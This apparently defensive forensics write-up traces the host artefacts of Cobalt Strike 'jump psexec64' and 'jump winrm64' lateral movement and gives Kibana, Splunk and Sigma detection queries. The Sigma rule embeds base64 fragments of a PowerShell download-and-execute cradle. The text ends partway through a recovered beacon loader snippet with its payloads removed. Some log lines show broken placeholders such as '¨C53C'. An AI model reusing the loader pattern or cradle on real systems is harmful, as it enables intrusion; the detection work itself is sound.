13:33:05.902	[evtx/sysmon/7] Image `C:\\Windows\\System32\\apphelp.dll` loaded from process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.915	[evtx/sysmon/7] Image `C:\\Windows\\System32\\advapi32.dll` loaded from process ¨C53C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.916	[evtx/sysmon/7] Image ¨C54C loaded from process ¨C55C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.917	[evtx/sysmon/7] Image ¨C56C loaded from process ¨C57C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.918	[evtx/sysmon/7] Image ¨C58C loaded from process ¨C59C (pid=9612) with user NT AUTHORITY\SYSTEM
13:33:05.929	[evtx/sysmon/7] Image ¨C60C loaded from process ¨C61C (pid=9612) with user NT AUTHORITY\SYSTEM

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

A randomly named Beacon¹ was created on the file system to the C:\Windows directory by the System process. The two created Prefetch files related to rundll32.exe and the Beacon will be useful to identify Cobalt Strike execution.

Time	Description
13:33:05.772	[evtx/sysmon/11] Process System (pid=4) created file `C:\\Windows\\4542843.exe` with user NT AUTHORITY\SYSTEM
13:33:07.009	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\4542843.EXE-B39DA9E6.pf` with user NT AUTHORITY\SYSTEM
13:33:17.065	[evtx/sysmon/11] Process `C:\\Windows\\system32\\svchost.exe` (pid=1860) created file `C:\\Windows\\Prefetch\\RUNDLL32.EXE-64292FC9.pf` with user NT AUTHORITY\SYSTEM

Event ID 13 – Registry Value Set

Registry key and value create and delete operations map to this event type.

Cobalt Strike creates a service to run the Beacon as SYSTEM. So a registry key with a random name² is created under HKLM\\System\\CurrentControlSet\\Services\\4542843 by the Services.exe executable and the ImagePath is set to the Beacon path.

Time	Description
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ObjectName` value to LocalSystem
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ImagePath` value to \DESKTOP-RI5FIO5\ADMIN$\4542843.exe
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\ErrorControl` value to DWORD (0x00000000)
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue `HKLM\\System\\CurrentControlSet\\Services\\4542843\\Start` value to DWORD (0x00000003)
13:33:05.866	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process `C:\\Windows\\system32\\services.exe` (pid 596) has SetValue ¨C82C value to DWORD (0x00000010)
13:33:07.941	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C83C (pid 596) has SetValue ¨C84C value to DWORD (0x00000004)
13:33:07.941	[evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C85C (pid 596) has SetValue ¨C86C value to DWORD (0x00000001)

Event ID 17 – Pipe Created

Pipe creation operations map to this event type.

The communication between the Beacon and the temporary process (rundll32.exe) is done using named pipes. By default, on Cobalt Strike, the pipes created by binaries use the following format \\.\pipe\MSSE-####-server. Then, the SMB Beacon creates another pipe for the communication with the C2. The default pipe format is \\msagent_##.

Time	Description
13:33:05.926	[evtx/sysmon/17] Process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) created pipe `\\MSSE-2716-server` with user NT AUTHORITY\SYSTEM
13:33:06.988	[evtx/sysmon/17] Process `C:\\Windows\\System32\\rundll32.exe` (pid=4648) created pipe `\\msagent_bd` with user NT AUTHORITY\SYSTEM
13:33:06.955	[evtx/sysmon/18] Process `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) connected pipe `\\MSSE-2716-server`
13:33:08.961	[evtx/sysmon/18] Process System (pid=4) connected pipe `\\msagent_bd`

Event ID 25 – Process Tampering

Since Sysmon version 13, a new type of event is recorded, called process tampering. This event is generated when a process uses hiding techniques such as hollow or herpaderp. The injection of Cobalt Strike was successfully detected by Sysmon:

Time	Description
13:33:05.889	[evtx/sysmon/25] Process tampering detected for images `\\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe` (pid=9612) with user ‘NT AUTHORITY\SYSTEM’

Findings

Now that we have seen the events and other artefacts generated by the execution of the jump psexec64 command, let us dwell on the evidence present natively on a Windows 10 system out of the box.

Winevtx – Microsoft-Windows-Security-Auditing

Without the audit policies enabled, not many events are generated. Only two successful logons (event ID 4624) are recorded, with the logon type ‘3’ (Network), from the compromised account « CORP\alice ». If correlated, this behavior may help during the investigation to support a hypothesis. The source hostnames are not always recorded, nor is the logon process name.

Time	Description
13:33:05.769	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘
13:33:05.769	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:33:05.803	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘
13:33:05.802	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege

The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:34:46.386	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a) from logon type=3
13:35:06.877	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7) from logon type=3

Winevtx – Service Control Manager

In that particular case, since the jump psexec64 command installs a service on the targeted host, the most useful Windows record is the event ID 7045 logged by the Service Control Manager (SCM). This event indicates that a new, randomly named² (here 4542843) service has been installed on the system by user « LocalSystem ». The executable used by this malicious service is a strong IOC since it will be remotely accessed using the $ADMIN share. The service terminated unexpectedly a few moments later.

Time	Description
13:33:05.829	[evtx/sys/scm/7045] Service ‘4542843’ (`\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)
13:33:07.000	[evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times)

Prefecth – Program execution

The Prefetch files are very useful as well because the beacon has a random name¹ and it is followed by proof of the execution of rundll32³. It is important to mention that the presence of rundll32.exe alone is not necessarily an indication of malicious activity. However, since the beacon name is randomly set by Cobalt Strike for each execution, it is difficult to define a detection rule based on the Prefetch files.

Time	Description
13:33:05.877	[prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]
13:33:06.954	[prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]

File System – MFT

The main IOC here is the beacon dropped in the $ADMIN share (C:\Windows\) and then executed by the malicious service. The binary itself has no entry in the MFT, but its Prefetch file and that of rundll32.exe are visible when the jump psexec64 command is executed.

Time	Description
13:33:07.000	[fs/mft][m.cb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($STANDARD_INFORMATION), MFT:98397-10
13:33:07.000	[fs/mft][macb] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` ($FILE_NAME), MFT:98397-10, PARENT: 93711-2
13:33:17.063	[fs/mft][…b] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($STANDARD_INFORMATION), MFT:98393-10
13:33:17.063	[fs/mft][macb] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` ($FILE_NAME), MFT:98393-10, PARENT: 93711-2

In our case, since the system has been freshly installed, rundll32.exe has run for the first time and the birth of the Prefetch file can be observed in the MFT (here in both $FILE_NAME and $STANDARD_INFORMATION of the RUNDLL32.EXE-64292FC9.pf file), otherwise only its modification would be visible.

File System – USN journal

Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the malicious executable and its Prefetch file. The location of the beacon in the C:\Windows directory makes it easy to spot. The activity of the Prefetch file of rundll32.exe is also recorded. The C:\Windows\4542843.exe binary is deleted immediately after its execution.

Time	Description
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_FILE_CREATE
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:05.767	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.000	[fs/usnjrnl] File `\Windows\Prefetch\4542843.EXE-B39DA9E6.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:07.939	[fs/usnjrnl] File `\Windows\4542843.exe` USN_REASON_CLOSE USN_REASON_FILE_DELETE
13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_FILE_CREATE
13:33:17.063	[fs/usnjrnl] File `\Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:33:17.063	[fs/usnjrnl] File ¨C129C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE

Conclusion

The default Cobal Strike jump psexec64 command is fairly easy to detect because it creates a service with a random name² and uses the rundll32.exe³ program without any arguments to host the payload. Even if the malicious binary is deleted immediately after its execution, the location of the beacon in the C:\Windows directory makes it even easier to spot.

Detection Rule Example

The timeline is processed using plaso (https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The available fields and their names may vary depending on how you use log2timeline and psort.

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. The most important is the SCM record (event ID 7045). Note that all these events occur in a short period of time. The name of the beacon can be spotted with the SCM record (event ID 7045) and then used to improve the queries on the MFT and USN journal events.

parser : "winevtx" and source_name : "Service Control Manager" and eid : 7045
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : \\Windows\\*.exe
parser : ( "prefetch" or "mft" ) and message : *RUNDLL32.EXE*

Splunk

A simple query for installed services (event ID 7045) where the service path contains the ADMIN$ substring is enough:

host="*" index="*" parser=winevtx eid=7045 service_path="*ADMIN$*"
| table _time host message
| sort _time

Sigma

A Sigma rule already exists for this event (sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma).

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules  [####################################]  100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")

Cobalt Strike « jump winrm64 »

The Cobalt Strike jump winrm64 command allows using the Windows Remote Management (WinRM) service to execute a command or payload on a remote Windows system. When the jump winrm64 command is executed, it will use the active beacon to establish a connection to the specified Windows system and then use the WinRM service to run the malicious payload on the remote system. The Beacon type used for this test is smb.

Microsoft-Windows-Sysmon

Event ID 1 – Process Create

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.

Over the period of time during which the jump winrm64 command is executed, one of the created processes is wsmprovhost.exe by the svchost.exe process. Indeed, since the jump winrm64 command uses the Windows Remote Management (WinRM) service, the wsmprovhost.exe process is started to handle the incoming connection and execute the command or payload.

Time	Description
13:38:10.192	[evtx/sysmon/1] Process created with command `C:\Windows\system32\wsmprovhost.exe -Embedding` (pid: 9724) by user ‘CORP\alice’ via `C:\Windows\System32\svchost.exe -k DcomLaunch -p` (pid: 728)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.

Sysmon recorded 4 network connections to the victim workstation on port TCP\5985 (HTTP default WinRM port) and, since the beacon type used for this test is smb, one more to TCP port TCP\445 (SMB).

Time	Description
13:38:12.005	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54176’ to ‘192.168.56.117:5985’
13:38:12.907	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54177’ to ‘192.168.56.117:5985’
13:38:15.662	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54179’ to ‘192.168.56.117:5985’
13:38:15.935	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54180’ to ‘192.168.56.117:5985’
13:38:20.995	[evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54181’ to ‘192.168.56.117:445’

Event ID 7 – Image Loaded

The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.

This event records the libraries loaded by a process during its execution. Without Sysmon installed on the victim workstation, it is hard to get the same information from other artefacts. However, because in that particular case the MFT artefact was able to get close information, this event is displayed here. The wsmprovhost.exe process (PID 9724) loads 88 DLL and we chose to list only two because of their records in the MFT (see below).

Time	Description
13:38:10.177	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\wsmprovhost.exe`
13:38:10.333	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\WsmSvc.dll`
13:38:10.523	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\System32\wsmplpxy.dll`
13:38:10.600	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module `C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll`
13:38:10.600	[evtx/sysmon/7] Process `C:\Windows\System32\wsmprovhost.exe` (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C159C
13:38:10.600	[evtx/sysmon/7] Process ¨C160C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C161C
13:38:10.600	[evtx/sysmon/7] Process ¨C162C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C163C
13:38:10.618	[evtx/sysmon/7] Process ¨C164C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C165C
13:38:10.662	[evtx/sysmon/7] Process ¨C166C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C167C
13:38:10.662	[evtx/sysmon/7] Process ¨C168C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C169C

Event ID 11 – File Create

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.

Our malicious wsmprovhost.exe process has the PID 9724. The Cobalt Strike Beacon runs under the context of PowerShell, this is why two PowerShell script files are generated by Microsoft to test against Applocker. If the test file executes, then it assumed that Applocker is disabled.

Time	Description
13:38:11.653	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_amxqtozh.ie2.psm1` run by user ‘CORP\alice’
13:38:11.653	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_psmlbjet.gus.ps1` run by user ‘CORP\alice’
13:38:29.313	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache` run by user ‘CORP\alice’
13:38:29.313	[evtx/sysmon/11] Process `C:\Windows\system32\wsmprovhost.exe` (pid=9724) created file `C:\Users\alice\AppData\Local\Microsoft\Windows\PowerShell` run by user ‘CORP\alice’

Event ID 17 / 18 – Pipe Created or Accessed

Pipe creation operations map to these event types when a named pipe is created (event ID 17) and when a named pipe is created or accessed (event ID 18).

The previous spotted processes with PID 4 and 9724 used several names pipes. The created pipe \\msagend_bd is made by the SMB beacon (by default) for the communication with the C2.

Time	Description
13:38:11.959	[evtx/sysmon/17] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to create named pipe `\PSHost.132924298901870926.9724.DefaultAppDomain.wsmprovhost`
13:38:17.148	[evtx/sysmon/17] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to create named pipe `\msagent_bd`
13:38:10.558	[evtx/sysmon/18] User ‘CORP\alice’ used the process `C:\Windows\system32\wsmprovhost.exe` (pid: 9724) to connect named pipe `\lsass`
13:38:19.169	[evtx/sysmon/18] User ‘NT AUTHORITY\SYSTEM’ used the process `System` (pid: 4) to connect named pipe `\msagent_bd`

Findings

Now that we have seen the events and other artefacts generated by the execution of the jump winrm64 command, let us dwell on the evidence present natively on a Windows 10 system out of the box.

Winevtx – Microsoft-Windows-Security-Auditing

Like the remote-exec winrm command, 5 authentications (event ID 4624) are recorded with the logon type ‘3’ from the compromised account CORP\alice, along with the associated privilege assignment events (event ID 4672). The source IP address and hostname are not always recorded, nor is the logon process name.

Time	Description
13:38:11.036	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘
13:38:11.036	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:13.705	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘
13:38:13.705	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:13.828	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘
13:38:13.828	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:38:19.168	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘
13:38:19.168	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:39:05.880	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x000000000061217d) with ‘-‘
13:39:05.880	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
13:39:05.893	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000612198) with ‘-‘
13:39:05.893	[evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000612198): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege

The five network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:39:05.879	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005eb099) from logon type=3
13:39:05.892	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edd18) from logon type=3
13:39:05.924	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005edc9b) from logon type=3
13:39:05.924	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000061217d) from logon type=3
13:39:21.622	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000005f30a3) from logon type=3

Winevtx – Microsoft-Windows-WinRM

Obviously, some good indicators to detect WinRM lateral movements are stored in the Microsoft-Windows-WinRM log file, like the event ID 91 (Creating WSMan shell on server) on the target host. This event indicates that the WinRM service has begun to listen for incoming connections on the specified ports (HTTP and HTTPS by default). On our targeted host, this event was the only record in the Microsoft-Windows-WinRM log file after the remote code execution.

Time	Description
13:38:10.650	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘

Winevtx – PowerShell / Microsoft-Windows-PowerShell

While the process of creating the PowerShell beacon on the remote host is done via the Windows Remote Management (WinRM) service and not via a PowerShell session, you can detect the wsmprovhost.exe process using the PowerShell log files if PowerShell script block logging is enabled.

Unlike the remote-exec winrm command, the jump winrm64 command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.

N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning⁴.

It is important to note that the event 4104 will be generated only when a user starts a new session using the PowerShell remoting feature, and not when a session is started using the jump winrm64 command in Cobalt Strike. All 29 events 4104 have been merged into a single event in the following timeline.

Time	Description
13:38:11.964	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.007	[evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.027	[evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is Started.
13:38:13.099	[evtx/powershell/400] The PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` is changed from ‘None’ to ‘Available’.
13:38:14.362	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`3cdb4718-452a-469b-bf94-b8a1ad197fa6`‘ is executed (29 blocks)

The recorded payload stored in the event 4104 (and split into 29 pieces of code) contains two functions, func_get_proc_address and func_get_delegate_type. These two PowerShell functions are likely used to dynamically load and execute unmanaged code in a managed environment:

func_get_proc_address appears to use the Microsoft.Win32.UnsafeNativeMethods class to load a function pointer for a specified procedure in a specified module. This function is commonly used in interop scenarios when calling unmanaged functions from managed code.
func_get_delegate_type appears to dynamically create a delegate type that can be used to invoke a function with a specified signature. This function may be used in scenarios where a delegate with a specific signature is required but cannot be generated at compile time.

Together, these functions could be used to dynamically load and execute unmanaged code with a specific signature in a managed environment. They will be used by the following scheme (base64-encoded payloads have been removed for more readability):

<pre><code><span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
    <span class="no">[Byte[]]</span><span class="nv">$var_code</span> <span class="p">=</span> <span class="no">[System.Convert]</span><span class="p">::</span><span class="n">FromBase64String</span><span class="p">(</span><span class="s2">"... base64-encoded payload ..."</span><span class="p">)</span>

    <span class="k">for</span> <span class="p">(</span><span class="nv">$x</span> <span class="p">=</span> <span class="n">0</span><span class="p">;</span> <span class="nv">$x</span> <span class="o">-lt</span> <span class="nv">$var_code</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span> <span class="nv">$x</span><span class="p">++)</span> <span class="p">{</span>
        <span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="p">=</span> <span class="nv">$var_code</span><span class="p">[</span><span class="nv">$x</span><span class="p">]</span> <span class="o">-bxor</span> <span class="n">35</span>
    <span class="p">}</span>

    <span class="nv">$var_va</span> <span class="p">=</span> <span class="no">[System.Runtime.InteropServices.Marshal]</span><span class="p">::</span><span class="n">GetDelegateForFunctionPointer</span><span class="p">((</span><span class="n">func_get_proc_address</span> <span class="n">kernel32</span><span class="p">.</span><span class="n">dll</span> <span class="n">VirtualAlloc</span><span class="p">)</span>  <span class="p">(</span><span class="n">func_get_delegate_type</span> <span class="p">@(</span><span class="no">[IntPtr]  [UInt32]  [UInt32]  [UInt32]</span><span class="p">)</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">)))</span>
